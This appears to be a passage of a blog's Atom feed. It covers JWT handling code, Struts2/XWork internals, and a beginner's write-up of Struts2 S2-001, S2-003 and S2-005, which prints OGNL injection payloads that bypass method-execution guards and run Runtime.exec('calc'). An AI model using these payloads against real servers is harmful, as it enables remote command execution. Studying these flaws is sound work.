ttlMillis;</span><br><span class="line"></span><br><span class="line"> Date exp = <span class="keyword">new</span> Date(expMillis);</span><br><span class="line"></span><br><span class="line"> builder.setExpiration(exp);<span class="comment">//超时时间</span></span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">returnbuilder.compact();</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>检验jwt:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="title">ClaimsparseJWT</span><span class="params">(String jwt)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"></span><br><span class="line">SecretKeykey = generalKey();</span><br><span class="line"></span><br><span class="line">Claimsclaims = Jwts.parser() </span><br><span class="line"></span><br><span class="line"> .setSigningKey(key)</span><br><span class="line"></span><br><span class="line"> .parseClaimsJws(jwt).getBody();</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> claims;</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>参考:</p><ol><li>基础: <a href="https://www.anquanke.com/post/id/145540" target="_blank" rel="noopener">https://www.anquanke.com/post/id/145540</a></li><li>ppt: <a href="https://www.slideshare.net/snyff/jwt-insecurity" target="_blank" rel="noopener">Jwt == insecurity?</a></li></ol>]]></content>
<summary type="html">
<p>JWT,Json Web Token是一个基于Token的身份认证协议,可以在某些情况取代Session认证。他的优点是服务器不储存任何的会话信息,只依靠客户端发送的JWT认证。</p>
<p>JWT分为三个部分:</p>
<p>Header+Payload+Signatu
</summary>
</entry>
<entry>
<title>struts2系列——S2漏洞</title>
<link href="http://hebic.me/2018/05/10/struts2%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94S2%E6%BC%8F%E6%B4%9E/"/>
<id>http://hebic.me/2018/05/10/struts2系列——S2漏洞/</id>
<published>2018-05-10T09:05:48.000Z</published>
<updated>2018-05-11T06:27:52.000Z</updated>
<content type="html"><![CDATA[<p>这个系列的漏洞分析已经有很多前辈做了详细的解释了,本文做个初学者的S2漏洞复现跟踪。</p><h1 id="S2-001:struts2-0-9之前"><a href="#S2-001:struts2-0-9之前" class="headerlink" title="S2-001:struts2.0.9之前"></a>S2-001:struts2.0.9之前</h1><p>漏洞触发点在action和interceptor调用结束后,result之前,preresult时对表单做递归处理处。比如%{name}会调用name的value,导致执行%{payload},调试参考: <a href="https://03i0.com/2018/04/08/S2-001%E8%B0%83%E8%AF%95%E5%88%86%E6%9E%90/" target="_blank" rel="noopener">https://03i0.com/2018/04/08/S2-001%E8%B0%83%E8%AF%95%E5%88%86%E6%9E%90/</a></p><h1 id="S2-003:-struts2-0-12之前"><a href="#S2-003:-struts2-0-12之前" class="headerlink" title="S2-003: struts2.0.12之前"></a>S2-003: struts2.0.12之前</h1><p>漏洞触发点在parameterInterceptor,对传入数据进行处理时,将得到的数据传入OGNL表达式造成的命令执行。</p><p>两种Payload(不止两种):</p><p>第一种:</p><p>?’\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003dfalse’(bla)(bla)&’\u0023myret\<a href="mailto:u003d@java.lang.Runtime" target="_blank" rel="noopener">u003d@java.lang.Runtime</a>@getRuntime().exec(\’calc\’)’(bla)(bla)</p><p>第二种:</p><p>?(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exec(“calc”)’)(\u0023rt\<a href="mailto:u003d@java.lang.Runtime" target="_blank" rel="noopener">u003d@java.lang.Runtime</a>@getRuntime</p><p>问题发生在XWork的parameterInterceptor中对url信息数据收集过程中。因此不只有Struts2受到波及。</p><p>URL传参时虽然做了#的防御,但是可以通过unicode编码绕过。unicode编码可以被还原为原始字符是在java层面生效的,并非struts2的转换。</p><h1 id="S2-005:struts2-2-1之前"><a href="#S2-005:struts2-2-1之前" class="headerlink" title="S2-005:struts2.2.1之前"></a>S2-005:struts2.2.1之前</h1><p>对S2-003防御的绕过。</p><p>在这个版本的Struts2中,有两个防止方法执行的属性,allowStaticMethodAccess和xwork.MethodAccessor.denyMethodExecution防止用户执行静态方法。两个的区别是,前者是是一个context的属性,后者是valuehashmap中的一项。黑客可以通过修改这两个属性绕过从而执行s2-003的payload</p><p>参考: <a href="http://wcf1987.iteye.com/blog/1420307" target="_blank" rel="noopener">http://wcf1987.iteye.com/blog/1420307</a></p><p> payload:</p><p><code>?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1</code></p><p>其中分为三个部分:</p><p>(1)<code>?('#_memberAccess['allowStaticMethodAccess']')(meh)=true</code></p><p>(2)<code>&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))</code></p><p>(3)<code>&(asdf)(('#rt.exit(1)')([#rt=@java.lang.Runtime@getRuntime()))=1](mailto:%23rt=@java.lang.Runtime@getRuntime()))=1)</code></p><p>对于奇怪的括号的解释:</p><p>(1)(expression)(constant)=value会执行expression=value。</p><p>(2)(constant)((expression1)(expression2))会先执行expression2,然后再执行expression1。</p><p>(3)expression= value(constant)(constant) 会执行expression=value</p><p>来自 <<a href="https://blog.csdn.net/u011721501/article/details/41626959" target="_blank" rel="noopener">https://blog.csdn.net/u011721501/article/details/41626959</a>> </p>]]></content>
<summary type="html">
<p>这个系列的漏洞分析已经有很多前辈做了详细的解释了,本文做个初学者的S2漏洞复现跟踪。</p>
<h1 id="S2-001:struts2-0-9之前"><a href="#S2-001:struts2-0-9之前" class="headerlink" title="S2
</summary>
</entry>
<entry>
<title>struts2系列——XWork</title>
<link href="http://hebic.me/2018/05/06/struts2%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94XWork/"/>
<id>http://hebic.me/2018/05/06/struts2系列——XWork/</id>
<published>2018-05-06T09:08:56.000Z</published>
<updated>2018-05-06T09:26:12.000Z</updated>
<content type="html"><![CDATA[<h2 id="请求-响应-实现模型"><a href="#请求-响应-实现模型" class="headerlink" title="请求-响应 实现模型"></a>请求-响应 实现模型</h2><ul><li>参数-返回值 模式</li></ul><p>Public Return someMethod(Param param1, Param param2){}</p><ul><li>Return:返回值:处理相应结果</li><li>someMethod:方法名:请求-响应处理载体</li><li>(Param param1, Param param2):方法参数:请求内容的映射</li></ul><p>对象的方法称为请求-响应模式在Java世界中的一种直观抽象。这种直观并符合简单逻辑思维的抽象方法,应该说完全符合“简单是美”的最佳实践。</p><ul><li>参数-参数 模式</li></ul><p>Servlet标准就是参数-参数模式,因此这种模式也被称为Servlet模式。doGet(HttpServletRequest,HttpServletResponse) : void</p><p>这种模式和参数-返回值模式不同之处在于,请求和响应都在参数中,而没有返回值。这种模式是最为基础的请求-响应的实现机制,也是底层规范不得不采用的实现机制,也是实现完整请求-响应机制的唯一请求。在大多数web开发框架中,已经不会看到Servlet模式,因为所有的框架都会基于这种模式为基础,将具体实现转换到其他的实现模式。</p><ul><li>POJO 模式</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Public <span class="class"><span class="keyword">class</span> <span class="title">UserController</span></span>{</span><br><span class="line"></span><br><span class="line">Private String userName;</span><br><span class="line"></span><br><span class="line">Private String password;</span><br><span class="line"></span><br><span class="line"><span class="function">Public String <span class="title">Login</span><span class="params">()</span></span>{</span><br><span class="line"></span><br><span class="line">Return <span class="string">"success"</span>;</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在POJO模式中请求参数和返回值以属性的方式展现,处理请求使用内部方法。这种模式和上面两种请求方法的最大不同在:进行请求响应的处理类自身是一个有状态的对象。 </p><h2 id="XWork宏观视图"><a href="#XWork宏观视图" class="headerlink" title="XWork宏观视图"></a>XWork宏观视图</h2><p><img src="/2018/05/06/struts2系列——XWork/1.png" alt="a"> </p><h2 id="数据流体系"><a href="#数据流体系" class="headerlink" title="数据流体系"></a>数据流体系</h2><p>数据流体系在上图中是横向的两个虚线框:ActionContext和ValueStack,他们之间是包含关系,ValueStack是ActionContext的一个组成部分。为何是包含关系?ActionContext提供了数据环境,他表现出来的空间概念,恰好称为数据载体进行储存的天然基石。ValueStack是一个具备表达式引擎计算能力的数据结构,表达式引擎是为了解决数据访问和数据传输之间的困境。那么一个提供数据环境,一个提供为静态环境添加动态计算功能,两者分别是数据和流,因此两者密不可分。</p><h2 id="控制流体系"><a href="#控制流体系" class="headerlink" title="控制流体系"></a>控制流体系</h2><p>在上图中是实线的部分。在讨论控制流体系时,关注两个关系:事件处理节点和事件驱动元素之间的关系、核心事件处理节点和辅助事件处理节点。</p><h3 id="事件处理节点和事件驱动元素"><a href="#事件处理节点和事件驱动元素" class="headerlink" title="事件处理节点和事件驱动元素"></a>事件处理节点和事件驱动元素</h3><p>事件处理节点由Action/Interceptor/Result组成,事件处理驱动元素由ActionProxy和ActionInvocation组成。在XWork控制流中,事件处理驱动元素对事件处理节点元素形成调用关系。ActionInvocation是对事件处理节点的执行调度,XWork控制流体系的总调度。</p><h3 id="核心事件处理节点和辅助事件驱动节点"><a href="#核心事件处理节点和辅助事件驱动节点" class="headerlink" title="核心事件处理节点和辅助事件驱动节点"></a>核心事件处理节点和辅助事件驱动节点</h3><p>核心事件处理节点和辅助事件处理节点就是Action和Interceptor。他们在上图中是包裹关系,一个Interceptor套着另一个Interceptor,一层接着一层,把Action包裹在最里面。这是一个“栈”结构。在这个栈结构,Action在最底层,Interceptor在外面。根据先进后出的特性,试图把Action对象拿出来时,必须把位于Action上所有Interceptor依次取出来执行。每个Interceptor除了需要完成自身逻辑以外,还需要指定下一步的执行对象。</p><p>ActionInvocation在对事件处理节点调度的时候,是将Action和Interceptor捆绑在一起调度的。</p><h2 id="数据流体系-1"><a href="#数据流体系-1" class="headerlink" title="数据流体系"></a>数据流体系</h2><h3 id="ActionContext"><a href="#ActionContext" class="headerlink" title="ActionContext"></a>ActionContext</h3><p>ActionContext作为数据环境,有两大职责:数据储存和数据共享</p><h4 id="数据储存"><a href="#数据储存" class="headerlink" title="数据储存"></a>数据储存</h4><p>ActionContext.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ActionContext</span> <span class="keyword">implements</span> <span class="title">Serializable</span> </span>{</span><br><span class="line"> <span class="keyword">static</span> ThreadLocal actionContext = <span class="keyword">new</span> ThreadLocal();</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String ACTION_NAME = <span class="string">"com.opensymphony.xwork2.ActionContext.name"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String VALUE_STACK = <span class="string">"com.opensymphony.xwork2.util.ValueStack.ValueStack"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String SESSION = <span class="string">"com.opensymphony.xwork2.ActionContext.session"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String APPLICATION = <span class="string">"com.opensymphony.xwork2.ActionContext.application"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String PARAMETERS = <span class="string">"com.opensymphony.xwork2.ActionContext.parameters"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String LOCALE = <span class="string">"com.opensymphony.xwork2.ActionContext.locale"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String TYPE_CONVERTER = <span class="string">"com.opensymphony.xwork2.ActionContext.typeConverter"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String ACTION_INVOCATION = <span class="string">"com.opensymphony.xwork2.ActionContext.actionInvocation"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String CONVERSION_ERRORS = <span class="string">"com.opensymphony.xwork2.ActionContext.conversionErrors"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String CONTAINER = <span class="string">"com.opensymphony.xwork2.ActionContext.container"</span>;</span><br><span class="line"> Map<String, Object> context;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">ActionContext</span><span class="params">(Map<String, Object> context)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.context = context;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setActionInvocation</span><span class="params">(ActionInvocation actionInvocation)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.put(<span class="string">"com.opensymphony.xwork2.ActionContext.actionInvocation"</span>, actionInvocation);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> ActionInvocation <span class="title">getActionInvocation</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> (ActionInvocation)<span class="keyword">this</span>.get(<span class="string">"com.opensymphony.xwork2.ActionContext.actionInvocation"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setApplication</span><span class="params">(Map<String, Object> application)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.put(<span class="string">"com.opensymphony.xwork2.ActionContext.application"</span>, application);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Map<String, Object> <span class="title">getApplication</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> (Map)<span class="keyword">this</span>.get(<span class="string">"com.opensymphony.xwork2.ActionContext.application"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">setContext</span><span class="params">(ActionContext context)</span> </span>{</span><br><span class="line"> actionContext.set(context);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> ActionContext <span class="title">getContext</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> (ActionContext)actionContext.get();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setContextMap</span><span class="params">(Map<String, Object> contextMap)</span> </span>{</span><br><span class="line"> getContext().context = contextMap;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Map<String, Object> <span class="title">getContextMap</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.context;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setConversionErrors</span><span class="params">(Map<String, Object> conversionErrors)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.put(<span class="string">"com.opensymphony.xwork2.ActionContext.conversionErrors"</span>, conversionErrors);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Map<String, Object> <span class="title">getConversionErrors</span><span class="params">()</span> </span>{</span><br><span class="line"> Map<String, Object> errors = (Map)<span class="keyword">this</span>.get(<span class="string">"com.opensymphony.xwork2.ActionContext.conversionErrors"</span>);</span><br><span class="line"> <span class="keyword">if</span> (errors == <span class="keyword">null</span>) {</span><br><span class="line"> errors = <span class="keyword">new</span> HashMap();</span><br><span class="line"> <span class="keyword">this</span>.setConversionErrors((Map)errors);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> (Map)errors;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setLocale</span><span class="params">(Locale locale)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.put(<span class="string">"com.opensymphony.xwork2.ActionContext.locale"</span>, locale);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Locale <span class="title">getLocale</span><span class="params">()</span> </span>{</span><br><span class="line"> Locale locale = (Locale)<span class="keyword">this</span>.get(<span class="string">"com.opensymphony.xwork2.ActionContext.locale"</span>);</span><br><span class="line"> <span class="keyword">if</span> (locale == <span class="keyword">null</span>) {</span><br><span class="line"> locale = Locale.getDefault();</span><br><span class="line"> <span class="keyword">this</span>.setLocale(locale);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> locale;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setName</span><span class="params">(String name)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.put(<span class="string">"com.opensymphony.xwork2.ActionContext.name"</span>, name);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getName</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> (String)<span class="keyword">this</span>.get(<span class="string">"com.opensymphony.xwork2.ActionContext.name"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setParameters</span><span class="params">(Map<String, Object> parameters)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.put(<span class="string">"com.opensymphony.xwork2.ActionContext.parameters"</span>, parameters);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Map<String, Object> <span class="title">getParameters</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> (Map)<span class="keyword">this</span>.get(<span class="string">"com.opensymphony.xwork2.ActionContext.parameters"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setSession</span><span class="params">(Map<String, Object> session)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.put(<span class="string">"com.opensymphony.xwork2.ActionContext.session"</span>, session);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Map<String, Object> <span class="title">getSession</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> (Map)<span class="keyword">this</span>.get(<span class="string">"com.opensymphony.xwork2.ActionContext.session"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setValueStack</span><span class="params">(ValueStack stack)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.put(<span class="string">"com.opensymphony.xwork2.util.ValueStack.ValueStack"</span>, stack);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> ValueStack <span class="title">getValueStack</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> (ValueStack)<span class="keyword">this</span>.get(<span class="string">"com.opensymphony.xwork2.util.ValueStack.ValueStack"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setContainer</span><span class="params">(Container cont)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.put(<span class="string">"com.opensymphony.xwork2.ActionContext.container"</span>, cont);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Container <span class="title">getContainer</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> (Container)<span class="keyword">this</span>.get(<span class="string">"com.opensymphony.xwork2.ActionContext.container"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <T> <span class="function">T <span class="title">getInstance</span><span class="params">(Class<T> type)</span> </span>{</span><br><span class="line"> Container cont = <span class="keyword">this</span>.getContainer();</span><br><span class="line"> <span class="keyword">if</span> (cont != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> cont.getInstance(type);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> XWorkException(<span class="string">"Cannot find an initialized container for this request."</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">get</span><span class="params">(String key)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.context.get(key);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">put</span><span class="params">(String key, Object value)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.context.put(key, value);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>ActionContext真正用来储存的空间是一个Map类型的变量context,ActionContext将所有的对象用键值的方法储存在context中,另外还提供了存取这些对象的方式。</p><h4 id="数据共享空间"><a href="#数据共享空间" class="headerlink" title="数据共享空间"></a>数据共享空间</h4><p>数据共享就会导致外界获得了一个相同的储存空间的访问权,必然造成线程安全问题。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">staticThreadLocal actionContext = <span class="keyword">new</span> ThreadLocal();</span><br><span class="line"><span class="function"><span class="keyword">public</span> staticvoid <span class="title">setContext</span><span class="params">(ActionContext context)</span> </span>{</span><br><span class="line"> actionContext.set(context);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="数据储存的内容"><a href="#数据储存的内容" class="headerlink" title="数据储存的内容"></a>数据储存的内容</h4><p>从ActionContext接口可以看出ActionContext究竟在初始化的时候放了什么样的对象进去。</p><p>对XWork框架对象的访问:getContainer/getValueStack/getActionInvocation</p><p>对数据对象的访问:getSession/getApplication/getParameters</p><p>ActionContext包含的访问接口是包罗万象的,针对这些数据对象的访问接口返回值均为map,意思是说存放于其中的数据与Web容器无关。看似不合理,却反映出ActionContext设计的严谨。ActionContext是XWork中定义的元素,而XWork是一个脱离web容器的框架,因此ActionContext若引入web对象,那就与XWork解耦的基本设计思想背道相驰。</p><p>XWork这个封装考虑了两个方面:</p><ul><li>封装后的数据保证了线程安全</li><li>所有储存对象为Map,可以统一数据访问</li></ul><p>ActionContext的数据要被外部访问,因此在设计上也考虑到了与web容器进行交互的可能。提供了一个与Web容器打交道的方案,XWork在ActionContext的基础上扩展了一个ServletActionContext子类,并在其中封装了与原生Web容器交互的接口。ServletActionContext.java</p><h3 id="ValueStack"><a href="#ValueStack" class="headerlink" title="ValueStack"></a>ValueStack</h3><h4 id="基本概念"><a href="#基本概念" class="headerlink" title="基本概念"></a>基本概念</h4><p>是XWork对OGNL的扩展</p><h4 id="数据结构"><a href="#数据结构" class="headerlink" title="数据结构"></a>数据结构</h4><p>是一个栈结构,ValueStack.java中可以看出,ValueStack是一个基本的栈结构。具有下面两个特点</p><ul><li>可以存放多个对象</li><li>先进后出</li></ul><p>ValueStack的实现类在OgnlValueStack中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">OgnlValueStack</span> <span class="keyword">implements</span> <span class="title">Serializable</span>, <span class="title">ValueStack</span>, <span class="title">ClearableValueStack</span>, <span class="title">MemberAccessValueStack</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">long</span> serialVersionUID = <span class="number">370737852934925530L</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> Logger LOG = LoggerFactory.getLogger(OgnlValueStack.class);</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">boolean</span> devMode;</span><br><span class="line"> CompoundRoot root;</span><br><span class="line"> <span class="keyword">transient</span> Map<String, Object> context;</span><br><span class="line"> Class defaultType;</span><br><span class="line"> Map<Object, Object> overrides;</span><br><span class="line"> <span class="keyword">transient</span> OgnlUtil ognlUtil;</span><br><span class="line"> <span class="keyword">transient</span> SecurityMemberAccess securityMemberAccess;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> String MAP_IDENTIFIER_KEY = <span class="string">"com.opensymphony.xwork2.util.OgnlValueStack.MAP_IDENTIFIER_KEY"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">link</span><span class="params">(Map<String, Object> context, Class clazz, String name)</span> </span>{</span><br><span class="line"> context.put(<span class="string">"__link"</span>, <span class="keyword">new</span> Object[]{clazz, name});</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span 